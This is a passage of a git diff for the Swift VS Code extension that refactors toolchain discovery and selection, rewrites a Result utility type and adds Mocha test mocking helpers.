instead of the shim version - * @param swiftPath Path to swift folder - * @returns Path to swift folder installed by swiftenv - */ - private static async getSwiftEnvPath(swiftPath: string): Promise { - if (process.platform === "linux" && swiftPath.endsWith(".swiftenv/shims")) { - try { - const swiftenvPath = path.dirname(swiftPath); - const swiftenv = path.join(swiftenvPath, "libexec", "swiftenv"); - const { stdout } = await execFile(swiftenv, ["which", "swift"]); - const swift = stdout.trimEnd(); - return path.dirname(swift); - } catch { - return swiftPath; - } - } else { - return swiftPath; - } - } - - /** - * @returns path to Toolchain folder - */ - private static async getToolchainPath( - swiftPath: string, - cwd?: vscode.Uri, - logger?: SwiftLogger - ): Promise { - try { - switch (process.platform) { - case "darwin": { - const configPath = configuration.path; - if (configPath !== "") { - const swiftlyPath = path.join(configPath, "swiftly"); - if (await fileExists(swiftlyPath)) { - try { - const inUse = await Swiftly.inUseLocation(swiftlyPath, cwd); - if (inUse) { - return path.join(inUse, "usr"); - } - } catch { - // Ignore, will fall back to original path - } - } - return path.dirname(configuration.path); - } - - const swiftlyToolchainLocation = await Swiftly.toolchain(logger, cwd); - if (swiftlyToolchainLocation) { - return swiftlyToolchainLocation; - } - - const { stdout } = await execFile("xcrun", ["--find", "swift"], { - env: configuration.swiftEnvironmentVariables, - }); - const swift = stdout.trimEnd(); - return path.dirname(path.dirname(swift)); - } - default: { - return path.dirname(swiftPath); - } - } - } catch { - throw Error("Failed to find swift toolchain"); - } - } - - /** - * @param targetInfo swift target info - * @returns path to Swift runtime - */ - private static async getRuntimePath(targetInfo: SwiftTargetInfo): Promise { - if (configuration.runtimePath !== "") { - return configuration.runtimePath; - } else if (process.platform === "win32") { - const { stdout } = await execFile("where", ["swiftCore.dll"]); - const swiftCore = stdout.trimEnd(); - return swiftCore.length > 0 ? path.dirname(swiftCore) : undefined; - } else { - return targetInfo.paths.runtimeLibraryPaths.length > 0 - ? targetInfo.paths.runtimeLibraryPaths.join(":") - : undefined; - } - } - - /** - * @returns path to default SDK - */ - private static async getDefaultSDK(): Promise { - switch (process.platform) { - case "darwin": { - if (process.env.SDKROOT) { - return process.env.SDKROOT; - } - - return this.getSDKPath("macosx"); - } - case "win32": { - return process.env.SDKROOT; - } - } - return undefined; - } - - /** - * @returns path to custom SDK - */ - private static getCustomSDK(): string | undefined { - return configuration.sdk !== "" ? configuration.sdk : undefined; - } - - /** - * @returns path to the swiftpm-testing-helper binary, if it exists. - */ - private static async getSwiftPMTestingHelperPath( - toolchainPath: string - ): Promise { - if (process.platform === "darwin") { - const toolchainSwiftPMHelperPath = path.join( - toolchainPath, - "libexec", - "swift", - "pm", - "swiftpm-testing-helper" - ); - - // Verify that the helper exists. Older toolchains wont have it and thats ok, - // it just means that XCTests and swift-testing tests exist in their own binaries - // and can each be run separately. If this path exists we know the tests exist in - // a unified binary and we need to use this utility to run the swift-testing tests - // on macOS. XCTests are still run with the xctest utility on macOS. The test binaries - // can be invoked directly on Linux/Windows. - if (await this.fileExists(toolchainSwiftPMHelperPath)) { - return toolchainSwiftPMHelperPath; - } - } - - return undefined; - } - - /** - * @param targetInfo swift target info - * @param swiftVersion parsed swift version - * @param runtimePath path to Swift runtime - * @param sdkroot path to swift SDK - * @returns path to folder where xctest can be found - */ - private static async getSwiftTestingPath( - targetInfo: SwiftTargetInfo, - swiftVersion: Version, - runtimePath: string | undefined, - sdkroot: string | undefined, - logger?: SwiftLogger - ): Promise { - if (process.platform !== "win32") { - return undefined; - } - return this.getWindowsPlatformDLLPath( - "Testing", - targetInfo, - swiftVersion, - runtimePath, - sdkroot, - logger - ); - } - - /** - * @param targetInfo swift target info - * @param swiftVersion parsed swift version - * @param runtimePath path to Swift runtime - * @param sdkroot path to swift SDK - * @returns path to folder where xctest can be found - */ - private static async getXCTestPath( - targetInfo: SwiftTargetInfo, - swiftFolderPath: string, - swiftVersion: Version, - runtimePath: string | undefined, - sdkroot: string | undefined, - logger?: SwiftLogger - ): Promise { - switch (process.platform) { - case "darwin": { - const xcodeDirectory = this.getXcodeDirectory(swiftFolderPath); - const swiftEnvironmentVariables = configuration.swiftEnvironmentVariables; - if (xcodeDirectory && !("DEVELOPER_DIR" in swiftEnvironmentVariables)) { - swiftEnvironmentVariables["DEVELOPER_DIR"] = xcodeDirectory; - } - const developerDir = await this.getXcodeDeveloperDir(swiftEnvironmentVariables); - return path.join(developerDir, "usr", "bin"); - } - case "win32": { - return await this.getWindowsPlatformDLLPath( - "XCTest", - targetInfo, - swiftVersion, - runtimePath, - sdkroot, - logger - ); - } - } - return undefined; - } - - private static async getWindowsPlatformDLLPath( - type: "XCTest" | "Testing", - targetInfo: SwiftTargetInfo, - swiftVersion: Version, - runtimePath: string | undefined, - sdkroot: string | undefined, - logger?: SwiftLogger - ): Promise { - // look up runtime library directory for XCTest/Testing alternatively - const fallbackPath = - runtimePath !== undefined && (await pathExists(path.join(runtimePath, `${type}.dll`))) - ? runtimePath - : undefined; - if (!sdkroot) { - return fallbackPath; - } - - const platformPath = path.dirname(path.dirname(path.dirname(sdkroot))); - const platformManifest = path.join(platformPath, "Info.plist"); - if ((await pathExists(platformManifest)) !== true) { - if (fallbackPath) { - return fallbackPath; - } - void vscode.window.showWarningMessage( - `${type} not found due to non-standardized library layout. Tests explorer won't work as expected.` - ); - return undefined; - } - const data = await fs.readFile(platformManifest, "utf8"); - let infoPlist; - try { - infoPlist = plist.parse(data) as unknown as InfoPlist; - } catch (error) { - void vscode.window.showWarningMessage(`Unable to parse ${platformManifest}: ${error}`); - return undefined; - } - const plistKey = type === "XCTest" ? "XCTEST_VERSION" : "SWIFT_TESTING_VERSION"; - const version = infoPlist.DefaultProperties[plistKey]; - if (!version) { - logger?.warn(`${platformManifest} is missing the ${plistKey} key.`); - return undefined; - } - - if (swiftVersion.isGreaterThanOrEqual(new Version(5, 7, 0))) { - let bindir: string; - const arch = targetInfo.target?.triple.split("-", 1)[0]; - switch (arch) { - case "x86_64": - bindir = "bin64"; - break; - case "i686": - bindir = "bin32"; - break; - case "aarch64": - bindir = "bin64a"; - break; - default: - throw Error(`unsupported architecture ${arch}`); - } - return path.join( - platformPath, - "Developer", - "Library", - `${type}-${version}`, - "usr", - bindir - ); - } else { - return path.join( - platformPath, - "Developer", - "Library", - `${type}-${version}`, - "usr", - "bin" - ); - } - } - - /** @returns swift target info */ - private static async getSwiftTargetInfo(swiftExecutable: string): Promise { - try { - try { - const { stdout } = await execSwift(["-print-target-info"], { swiftExecutable }); - const targetInfo = JSON.parse(stdout.trimEnd()) as SwiftTargetInfo; - if (targetInfo.compilerVersion) { - return targetInfo; - } - } catch { - // hit error while running `swift -print-target-info`. We are possibly running - // a version of swift 5.3 or older - } - const { stdout } = await execSwift(["--version"], { swiftExecutable }); - return { - compilerVersion: stdout.split(lineBreakRegex, 1)[0], - paths: { runtimeLibraryPaths: [""] }, - }; - } catch { - throw Error( - "Failed to get swift version from either '-print-target-info' or '--version'." - ); - } - } - - /** - * @param targetInfo swift target info - * @returns swift version object - */ - private static getSwiftVersion(targetInfo: SwiftTargetInfo): Version { - const match = targetInfo.compilerVersion.match(/Swift version ([\S]+)/); - let version: Version | undefined; - if (match) { - version = Version.fromString(match[1]); - } - return version ?? new Version(0, 0, 0); - } - - /** - * Check if a file exists. - * @returns true if the file exists at the supplied path - */ - private static async fileExists(path: string): Promise { - try { - await fs.access(path, fs.constants.F_OK); - return true; - } catch { - return false; - } - } -} diff --git a/src/ui/ToolchainSelection.ts b/src/ui/ToolchainSelection.ts index 8176cdc3e..95ba979d0 100644 --- a/src/ui/ToolchainSelection.ts +++ b/src/ui/ToolchainSelection.ts @@ -17,9 +17,11 @@ import * as vscode from "vscode"; import { FolderContext } from "../FolderContext"; import { Commands } from "../commands"; import configuration from "../configuration"; -import { SwiftLogger } from "../logging/SwiftLogger"; -import { Swiftly } from "../toolchain/swiftly"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { Environment } from "../services/Environment"; +import { Swiftly } from "../swiftly/Swiftly"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; +import { ToolchainService } from "../toolchain/ToolchainService"; +import { Result } from "../utilities/result"; import { showReloadExtensionNotification } from "./ReloadExtension"; /** @@ -163,31 +165,35 @@ type SelectToolchainItem = SwiftToolchainItem | ActionItem | SeparatorItem; */ async function getQuickPickItems( activeToolchain: SwiftToolchain | undefined, - logger: SwiftLogger, + env: Environment, + toolchainService: ToolchainService, + swiftly: Swiftly, cwd?: vscode.Uri ): Promise { // Find any Xcode installations on the system - const xcodes = (await SwiftToolchain.findXcodeInstalls()).map(xcodePath => { - const toolchainPath = path.join( - xcodePath, - "Contents", - "Developer", - "Toolchains", - "XcodeDefault.xctoolchain", - "usr" - ); - return { - type: "toolchain", - category: "xcode", - label: path.basename(xcodePath, ".app"), - detail: xcodePath, - xcodePath, - toolchainPath, - swiftFolderPath: path.join(toolchainPath, "bin"), - }; - }); + const xcodes = (await toolchainService.findXcodeInstalls()).map( + xcodePath => { + const toolchainPath = path.join( + xcodePath, + "Contents", + "Developer", + "Toolchains", + "XcodeDefault.xctoolchain", + "usr" + ); + return { + type: "toolchain", + category: "xcode", + label: path.basename(xcodePath, ".app"), + detail: xcodePath, + xcodePath, + toolchainPath, + swiftFolderPath: path.join(toolchainPath, "bin"), + }; + } + ); // Find any public Swift toolchains on the system - const toolchains = (await SwiftToolchain.getToolchainInstalls()).map( + const toolchains = (await toolchainService.getToolchainInstalls()).map( toolchainPath => { const result: SwiftToolchainItem = { type: "toolchain", @@ -210,53 +216,58 @@ async function getQuickPickItems( ); // Sort toolchains by label (alphabetically) - const sortedToolchains = toolchains.sort((a, b) => b.label.localeCompare(a.label)); + toolchains.sort((a, b) => b.label.localeCompare(a.label)); // Find any Swift toolchains installed via Swiftly - const swiftlyToolchains = ( - await Swiftly.listAvailableToolchains(logger) - ).map(toolchainPath => ({ - type: "toolchain", - label: path.basename(toolchainPath), - category: "swiftly", - version: path.basename(toolchainPath), - onDidSelect: async () => { - try { - await Swiftly.use(toolchainPath); - void showReloadExtensionNotification( - "Changing the Swift path requires Visual Studio Code be reloaded." - ); - } catch (error) { - void vscode.window.showErrorMessage(`Failed to switch Swiftly toolchain: ${error}`); - } - }, - })); + const swiftlyToolchains = (await swiftly.getInstalledToolchains()) + .getOrThrow() + .filter(toolchainPath => toolchainPath !== "xcode") + .map(toolchainPath => ({ + type: "toolchain", + label: path.basename(toolchainPath), + category: "swiftly", + version: path.basename(toolchainPath), + onDidSelect: async () => { + (await swiftly.use(toolchainPath)) + .onSuccess(() => + showReloadExtensionNotification( + "Changing the Swift path requires Visual Studio Code be reloaded." + ) + ) + .onError(error => + vscode.window.showErrorMessage( + `Failed to switch Swiftly toolchain: ${error}` + ) + ); + }, + })); if (activeToolchain) { const currentSwiftlyVersion = activeToolchain.isSwiftlyManaged - ? await Swiftly.inUseVersion("swiftly", cwd) + ? (await swiftly.getActiveToolchain(cwd?.fsPath ?? env.cwd())) + .map(r => r.name) + .ignoreError() + .getOrThrow() : undefined; - const toolchainInUse = [...xcodes, ...sortedToolchains, ...swiftlyToolchains].find( - toolchain => { - if (currentSwiftlyVersion) { - if (toolchain.category !== "swiftly") { - return false; - } - - // For Swiftly toolchains, check if the label matches the active toolchain version - return currentSwiftlyVersion === toolchain.label; + const toolchainInUse = [...xcodes, ...toolchains, ...swiftlyToolchains].find(toolchain => { + if (currentSwiftlyVersion) { + if (toolchain.category !== "swiftly") { + return false; } - // For non-Swiftly toolchains, check if the toolchain path matches - return ( - (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === - activeToolchain.toolchainPath - ); + + // For Swiftly toolchains, check if the label matches the active toolchain version + return currentSwiftlyVersion === toolchain.label; } - ); + // For non-Swiftly toolchains, check if the toolchain path matches + return ( + (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === + activeToolchain.toolchainPath + ); + }); if (toolchainInUse) { toolchainInUse.description = "$(check) in use"; } else { - sortedToolchains.splice(0, 0, { + toolchains.splice(0, 0, { type: "toolchain", category: "public", label: `Swift ${activeToolchain.swiftVersion.toString()}`, @@ -269,8 +280,8 @@ async function getQuickPickItems( } // Various actions that the user can perform (e.g. to install new toolchains) const actionItems: ActionItem[] = []; - if (Swiftly.isSupported() && !(await Swiftly.isInstalled())) { - const platformName = process.platform === "linux" ? "Linux" : "macOS"; + if (swiftly.isSupported() && !(await swiftly.isInstalled())) { + const platformName = env.platform === "linux" ? "Linux" : "macOS"; actionItems.push({ type: "action", label: "$(swift-icon) Install Swiftly for toolchain management...", @@ -279,8 +290,14 @@ async function getQuickPickItems( }); } - // Add install Swiftly toolchain actions if Swiftly is installed - if (Swiftly.isSupported() && (await Swiftly.isInstalled())) { + // Add install Swiftly toolchain actions if Swiftly is installed and supports it + if ( + swiftly.isSupported() && + (await swiftly.version()) + .map(v => v.supportsJSONOutput) + .flatMapError(() => Result.success(false)) + .getOrThrow() + ) { actionItems.push({ type: "action", label: "$(cloud-download) Install Swiftly toolchain...", @@ -314,12 +331,10 @@ async function getQuickPickItems( }); return [ ...(xcodes.length > 0 ? [new SeparatorItem("Xcode"), ...xcodes] : []), - ...(sortedToolchains.length > 0 - ? [new SeparatorItem("toolchains"), ...sortedToolchains] - : []), ...(swiftlyToolchains.length > 0 ? [new SeparatorItem("swiftly"), ...swiftlyToolchains] : []), + ...(toolchains.length > 0 ? [new SeparatorItem("toolchains"), ...toolchains] : []), new SeparatorItem("actions"), ...actionItems, ]; @@ -335,12 +350,14 @@ async function getQuickPickItems( */ export async function showToolchainSelectionQuickPick( activeToolchain: SwiftToolchain | undefined, - logger: SwiftLogger, + env: Environment, + toolchainService: ToolchainService, + swiftly: Swiftly, cwd?: vscode.Uri ) { let xcodePaths: string[] = []; const selected = await vscode.window.showQuickPick( - getQuickPickItems(activeToolchain, logger, cwd).then(result => { + getQuickPickItems(activeToolchain, env, toolchainService, swiftly, cwd).then(result => { xcodePaths = result .filter((i): i is XcodeToolchainItem => "category" in i && i.category === "xcode") .map(xcode => xcode.xcodePath); @@ -358,22 +375,22 @@ export async function showToolchainSelectionQuickPick( if (selected?.type === "toolchain") { // Select an Xcode to build with let developerDir: string | undefined = undefined; - if (process.platform === "darwin") { + if (env.platform === "darwin") { let selectedXcodePath: string | undefined = undefined; if (selected.category === "xcode") { selectedXcodePath = selected.xcodePath; } else if (xcodePaths.length === 1) { selectedXcodePath = xcodePaths[0]; } else if (xcodePaths.length > 1) { - selectedXcodePath = await showDeveloperDirQuickPick(xcodePaths); + selectedXcodePath = await showDeveloperDirQuickPick(xcodePaths, toolchainService); if (!selectedXcodePath) { return; } } // Find the actual DEVELOPER_DIR based on the selected Xcode app if (selectedXcodePath) { - developerDir = await SwiftToolchain.getXcodeDeveloperDir({ - ...process.env, + developerDir = await toolchainService.getXcodeDeveloperDir({ + ...env.env, DEVELOPER_DIR: selectedXcodePath, }); } @@ -402,10 +419,14 @@ export async function showToolchainSelectionQuickPick( * @param xcodePaths An array of paths to available Xcode installations on the system * @returns The selected DEVELOPER_DIR or undefined if the user cancelled selection */ -async function showDeveloperDirQuickPick(xcodePaths: string[]): Promise { +async function showDeveloperDirQuickPick( + xcodePaths: string[], + toolchainService: ToolchainService +): Promise { const selected = await vscode.window.showQuickPick( - SwiftToolchain.getXcodeDeveloperDir(configuration.swiftEnvironmentVariables).then( - existingDeveloperDir => { + toolchainService + .getXcodeDeveloperDir(configuration.swiftEnvironmentVariables) + .then(existingDeveloperDir => { return xcodePaths .map(xcodePath => { const result: vscode.QuickPickItem = { @@ -427,8 +448,7 @@ async function showDeveloperDirQuickPick(xcodePaths: string[]): Promise { +export class Result { + get value(): Success | undefined { + if (this.state.type === "failure") { + return undefined; + } + return this.state.value; + } + + get error(): Failure | undefined { + if (this.state.type === "failure") { + return this.state.error; + } + return undefined; + } + private constructor( - readonly success?: Success, - readonly failure?: unknown + private readonly state: SuccessfulResult | FailedResult ) {} /** Return a successful result */ - static makeSuccess(success: Success): Result { - return new Result(success); + static success(success: Success): Result { + return new Result({ type: "success", value: success }); } /** Return a failed result */ - static makeFailure(failure: unknown): Result { - return new Result(undefined, failure); + static failure(failure: Failure): Result { + return new Result({ type: "failure", error: failure }); + } + + /** + * Returns the success value as a throwing expression. + * + * @returns The success value, if the instance represents a success. + * @throws The failure error, if the instance represents a failure. + */ + getOrThrow(): Success { + if (this.state.type === "failure") { + throw this.state.error; + } + return this.state.value; + } + + map(transform: (result: Success) => NewSuccess): Result { + if (this.state.type === "failure") { + return Result.failure(this.state.error); + } + const newSuccess = transform(this.state.value); + return Result.success(newSuccess); + } + + mapError(transform: (error: Failure) => NewFailure): Result { + if (this.state.type === "failure") { + return Result.failure(transform(this.state.error)); + } + return Result.success(this.state.value); + } + + flatMap( + transform: (result: Success) => Result + ): Result { + if (this.state.type === "failure") { + return Result.failure(this.state.error); + } + return transform(this.state.value); } + + flatMapError( + transform: (error: Failure) => Result + ): Result { + if (this.state.type === "failure") { + return transform(this.state.error); + } + return Result.success(this.state.value); + } + + onSuccess(onSuccess: (value: Success) => void): Result { + if (this.state.type === "success") { + onSuccess(this.state.value); + } + return this; + } + + onError(onError: (error: Failure) => void): Result { + if (this.state.type === "failure") { + onError(this.state.error); + } + return this; + } + + ignoreError(): Result { + if (this.state.type === "failure") { + return Result.success(undefined); + } + return Result.success(this.state.value); + } +} + +interface SuccessfulResult { + type: "success"; + value: T; +} + +interface FailedResult { + type: "failure"; + error: T; } diff --git a/src/utilities/utilities.ts b/src/utilities/utilities.ts index 6083c8ac1..3d77225af 100644 --- a/src/utilities/utilities.ts +++ b/src/utilities/utilities.ts @@ -18,7 +18,7 @@ import * as vscode from "vscode"; import { FolderContext } from "../FolderContext"; import configuration from "../configuration"; -import { SwiftToolchain } from "../toolchain/toolchain"; +import { SwiftToolchain } from "../toolchain/SwiftToolchain"; /** * Whether or not this is a production build. @@ -50,6 +50,24 @@ export const IS_RUNNING_UNDER_DOCKER = IS_RUNNING_UNDER_ACT || IS_RUNNING_UNDER_ */ export const IS_RUNNING_UNDER_TEST = process.env.RUNNING_UNDER_VSCODE_TEST_CLI === "1"; +/** + * Returns the path to the Xcode application given a toolchain path. Returns undefined + * if no application could be found. + * + * @param toolchainPath The toolchain path. + * @returns The path to the Xcode application or undefined if none. + */ +export function getXcodeDirectory(toolchainPath: string): string | undefined { + let xcodeDirectory = toolchainPath; + while (path.extname(xcodeDirectory) !== ".app") { + if (path.parse(xcodeDirectory).base === "") { + return undefined; + } + xcodeDirectory = path.dirname(xcodeDirectory); + } + return xcodeDirectory; +} + /** * Get required environment variable for Swift product * @@ -105,11 +123,11 @@ export function swiftPlatformLibraryPathKey(platform: NodeJS.Platform): string { export class ExecFileError extends Error { constructor( - public readonly causedBy: Error, + public readonly cause: Error, public readonly stdout: string, public readonly stderr: string ) { - super(causedBy.message); + super(cause.message, { cause }); } } diff --git a/test/MockUtils.ts b/test/MockUtils.ts index 66c44d568..87249aa1b 100644 --- a/test/MockUtils.ts +++ b/test/MockUtils.ts @@ -11,9 +11,13 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// -import { SinonStub, stub } from "sinon"; +import { memfs } from "memfs"; +import * as path from "path"; +import { SinonSandbox, SinonStub, createSandbox, stub } from "sinon"; import * as vscode from "vscode"; +import { FileSystem } from "@src/services/FileSystem"; + /** * Waits for all promises returned by a MockedFunction to resolve. Useful when * the code you're testing doesn't await the function being mocked, but instead @@ -29,6 +33,112 @@ export async function waitForReturnedPromises( } } +export function inMemoryFileSystem(): FileSystem { + return createMochaProxy("Mock FileSystem", { + setup() { + const { fs } = memfs(); + return { + async withTemporaryDirectory(prefix, body) { + await fs.promises.mkdir("/tmp"); + const directory = (await fs.promises.mkdtemp( + path.join("/tmp", prefix) + )) as string; // Return type mismatch from fs + try { + return await body(directory); + } finally { + fs.promises + .rm(directory, { force: true, recursive: true }) + // Ignore any errors that arise as a result of removing the directory + .catch(() => {}); + } + }, + // Some of the typings in memfs are incompatible with Node's fs module for whatever reason. + ...(fs.promises as any), + }; + }, + }); +} + +/** + * Creates a new {@link Proxy} that is re-created for each test, but can be accessed as if it was + * created before the test case. Allows for removing boilerplate in tests: + * + * import { expect } from "chai"; + * + * suite("Test Suite", () => { + * const proxy = createMochaProxy("something", { + * setup() { + * return { + * someProperty: "hello!" + * }; + * } + * }); + * + * test('test case', () => { + * // The proxy will always be reset back to "hello!" at the start of each test. + * expect(proxy).to.have.property("someProperty", "hello!") + * proxy.someProperty = "world!"; + * expect(proxy).to.have.property("someProperty", "world!") + * }); + * }); + * + * @param name The name of the object being proxied. Will be shown in error messages. + * @param options Options used to configure the behavior of the proxy. + * @returns A proxy to an object that is setup and torn down between each test. + */ +export function createMochaProxy( + name: string, + options: { + /** Called to create a new object for each test. */ + setup: () => T; + /** Called to restore functionality after each test. */ + teardown?: (obj: T) => void; + /** Override the behavior of the proxy's get() function. */ + get?(target: T, property: string | symbol): any; + /** Override the behavior of the proxy's set() function. */ + set?(target: T, property: string | symbol, value: any): boolean; + } +): T { + let realValue: T | undefined = undefined; + setup(() => { + realValue = options.setup(); + }); + teardown(() => { + if (options.teardown) { + options.teardown(realValue!); + } + realValue = undefined; + }); + return new Proxy( + {}, + { + get(_target, property) { + if (!realValue) { + throw Error( + `${name} has not been initialized yet. You can only use it from within a test(), setup(), or teardown() block.` + ); + } + if (!options.get) { + return (realValue as any)[property]; + } + return options.get(realValue, property); + }, + set(_target, property, value) { + if (!realValue) { + throw Error( + `${name} has not been initialized yet. You can only use it from within a test(), setup(), or teardown() block.` + ); + } + if (!options.set) { + (realValue as any)[property] = value; + return true; + } + return options.set(realValue, property, value); + }, + } + ) as T; +} + /** * Convenience type used to convert a function into a SinonStub */ @@ -241,28 +351,15 @@ export function mockGlobalObject>( obj: T, property: K ): MockedObject { - let realMock: MockedObject; const originalValue: T[K] = obj[property]; - // Create the mock at setup - setup(() => { - realMock = mockObject(obj[property]); - Object.defineProperty(obj, property, { value: realMock }); - }); - // Restore original value at teardown - teardown(() => { - Object.defineProperty(obj, property, { value: originalValue }); - }); - // Return the proxy to the real mock - return new Proxy(originalValue, { - get(_target, property) { - if (!realMock) { - throw Error("Mock proxy accessed before setup()"); - } - return (realMock as any)[property]; + return createMochaProxy(`Mocked global object '${String(property)}'`, { + setup() { + const mockedObject: MockedObject = mockObject(obj[property]); + Object.defineProperty(obj, property, { value: mockedObject }); + return mockedObject; }, - set(_target, property, value) { - (realMock as any)[property] = value; - return true; + teardown() { + Object.defineProperty(obj, property, { value: originalValue }); }, }); } @@ -300,40 +397,35 @@ function shallowClone(obj: T): T { * @param mod The module that will be fully mocked */ export function mockGlobalModule(mod: T): MockedObject { - let realMock: MockedObject; const originalValue: T = shallowClone(mod); - // Create the mock at setup - setup(() => { - realMock = mockObject(mod); - for (const property of Object.getOwnPropertyNames(realMock)) { - try { - Object.defineProperty(mod, property, { - value: (realMock as any)[property], - writable: true, - }); - } catch { - // Some properties of a module just can't be mocked and that's fine + return createMochaProxy("Mocked global module", { + setup() { + const mockedModule = mockObject(mod); + for (const property of Object.getOwnPropertyNames(mockedModule)) { + try { + Object.defineProperty(mod, property, { + value: (mockedModule as any)[property], + writable: true, + }); + } catch { + // Some properties of a module just can't be mocked and that's fine + } } - } - }); - // Restore original value at teardown - teardown(() => { - for (const property of Object.getOwnPropertyNames(originalValue)) { - try { - Object.defineProperty(mod, property, { - value: (originalValue as any)[property], - }); - } catch { - // Some properties of a module just can't be mocked and that's fine + return mockedModule; + }, + teardown() { + for (const property of Object.getOwnPropertyNames(originalValue)) { + try { + Object.defineProperty(mod, property, { + value: (originalValue as any)[property], + }); + } catch { + // Some properties of a module just can't be mocked and that's fine + } } - } - }); - // Return the proxy to the real mock - return new Proxy(originalValue, { + }, + // Override get and set to act on the module itself. get(_target, property) { - if (!realMock) { - throw Error("Mock proxy accessed before setup()"); - } return (mod as any)[property]; }, set(_target, property, value) { @@ -374,10 +466,9 @@ export interface MockedValue { */ export function mockGlobalValue(obj: T, property: K): MockedValue { let setupComplete: boolean = false; - let originalValue: T[K]; + const originalValue: T[K] = obj[property]; // Grab the original value during setup setup(() => { - originalValue = obj[property]; setupComplete = true; }); // Restore the original value on teardown @@ -389,7 +480,9 @@ export function mockGlobalValue(obj: T, property: K): Mock return { setValue(value: T[K]): void { if (!setupComplete) { - throw new Error("Mocks cannot be accessed outside of test functions"); + throw new Error( + `Mocked global value '${String(property)}' has not been initialized yet. You can only use it from within a test(), setup(), or teardown() block.` + ); } Object.defineProperty(obj, property, { value: value }); }, @@ -409,9 +502,9 @@ type EventsOf = { export type EventType = T extends vscode.Event ? E : never; /** - * Create a new AsyncEventEmitter for each test that gets cleaned up automatically afterwards. This function makes use of the - * fact that Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the - * real AsyncEventEmitter since it won't be created until the test actually begins. + * Create a new AsyncEventEmitter for each test that gets cleaned up automatically afterwards. This function makes use + * of the fact that Mocha's setup() and teardown() methods can be called from anywhere. The resulting object is a proxy + * to the real AsyncEventEmitter since it won't be created until the test actually begins. * * The proxy lets us avoid boilerplate by creating a mock in one line: * @@ -422,11 +515,11 @@ export type EventType = T extends vscode.Event ? E : never; * suite("Test Suite", () => { * const didStartTask = mockGlobalEvent(vscode.tasks, "onDidStartTask"); * - * test("test case", () => { + * test("test case", async () => { * const stubbedListener = stub(); * vscode.tasks.onDidStartTask(stubbedListener); * - * didStartTask.fire(); + * await didStartTask.fire(); * expect(stubbedListener).to.have.been.calledOnce; * }); * }); @@ -440,28 +533,15 @@ export function mockGlobalEvent>( obj: T, property: K ): AsyncEventEmitter> { - let eventEmitter: vscode.EventEmitter>; const originalValue: T[K] = obj[property]; - // Create the mock at setup - setup(() => { - eventEmitter = new vscode.EventEmitter(); - Object.defineProperty(obj, property, { value: eventEmitter.event }); - }); - // Restore original value at teardown - teardown(() => { - Object.defineProperty(obj, property, { value: originalValue }); - }); - // Return the proxy to the EventEmitter - return new Proxy(new AsyncEventEmitter(), { - get(_target, property) { - if (!eventEmitter) { - throw Error("Mock proxy accessed before setup()"); - } - return (eventEmitter as any)[property]; + return createMochaProxy(`Mocked event '${String(property)}'`, { + setup() { + const eventEmitter = new AsyncEventEmitter>(); + Object.defineProperty(obj, property, { value: eventEmitter.event }); + return eventEmitter; }, - set(_target, property, value) { - (eventEmitter as any)[property] = value; - return true; + teardown() { + Object.defineProperty(obj, property, { value: originalValue }); }, }); } @@ -484,3 +564,37 @@ export class AsyncEventEmitter { } } } + +/** + * Returns a new {@link SinonSandbox} that is re-created for each test. This function makes use of the fact that Mocha's + * setup() and teardown() methods can be called from anywhere. The resulting object is a proxy to the real SinonSandbox + * since it won't be created until the test actually begins. + * + * The proxy lets us avoid boilerplate by creating the sandbox in one line: + * + * import * as vscode from "vscode"; + * + * suite("Test Suite", () => { + * const sandbox = setupSandboxForTests(); + * + * setup(() => { + * // We can do anything we want with the sandbox here and it'll be + * // restored on teardown(). + * sandbox.stub(vscode.window, "showQuickPick"); + * }); + * + * // Tests go here... + * }); + * + * **Note:** This **MUST** be called outside of the test() function or it will not work. + */ +export function setupSandboxForTests(): SinonSandbox { + return createMochaProxy("SinonSandbox", { + setup() { + return createSandbox(); + }, + teardown(sandbox) { + sandbox.restore(); + }, + }); +} diff --git a/test/fixtures.ts b/test/fixtures.ts index 304dd303e..fe69f982f 100644 --- a/test/fixtures.ts +++ b/test/fixtures.ts @@ -17,7 +17,7 @@ import * as vscode from "vscode"; import { SwiftExecution } from "@src/tasks/SwiftExecution"; import { SwiftProcess } from "@src/tasks/SwiftProcess"; import { SwiftTask, createSwiftTask } from "@src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; /** Workspace folder class */ class TestWorkspaceFolder implements vscode.WorkspaceFolder { diff --git a/test/integration-tests/DiagnosticsManager.test.ts b/test/integration-tests/DiagnosticsManager.test.ts index fc541f8c0..7f24caf8d 100644 --- a/test/integration-tests/DiagnosticsManager.test.ts +++ b/test/integration-tests/DiagnosticsManager.test.ts @@ -20,7 +20,7 @@ import { FolderContext } from "@src/FolderContext"; import { WorkspaceContext } from "@src/WorkspaceContext"; import { DiagnosticStyle } from "@src/configuration"; import { createBuildAllTask, resetBuildAllTaskCache } from "@src/tasks/SwiftTaskProvider"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { SwiftToolchain } from "@src/toolchain/SwiftToolchain"; import { Version } from "@src/utilities/version"; import { testAssetUri, testSwiftTask } from "../fixtures"; diff --git a/test/integration-tests/FolderContext.test.ts b/test/integration-tests/FolderContext.test.ts index d5b537485..94efd4345 100644 --- a/test/integration-tests/FolderContext.test.ts +++ b/test/integration-tests/FolderContext.test.ts @@ -17,16 +17,16 @@ import { restore, stub } from "sinon"; import { FolderContext } from "@src/FolderContext"; import { WorkspaceContext } from "@src/WorkspaceContext"; -import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { ToolchainService } from "@src/toolchain/ToolchainService"; import * as toolchain from "@src/ui/ToolchainSelection"; -import { MockedFunction, mockGlobalValue } from "../MockUtils"; +import { MockedObject, mockFn, mockGlobalValue, mockObject } from "../MockUtils"; import { testAssetUri } from "../fixtures"; import { activateExtensionForSuite, getRootWorkspaceFolder } from "./utilities/testutilities"; suite("FolderContext Error Handling Test Suite", () => { let workspaceContext: WorkspaceContext; - let swiftToolchainCreateStub: MockedFunction; + let mockedToolchainService: MockedObject; const showToolchainError = mockGlobalValue(toolchain, "showToolchainError"); activateExtensionForSuite({ @@ -37,13 +37,24 @@ suite("FolderContext Error Handling Test Suite", () => { testAssets: ["defaultPackage"], }); + 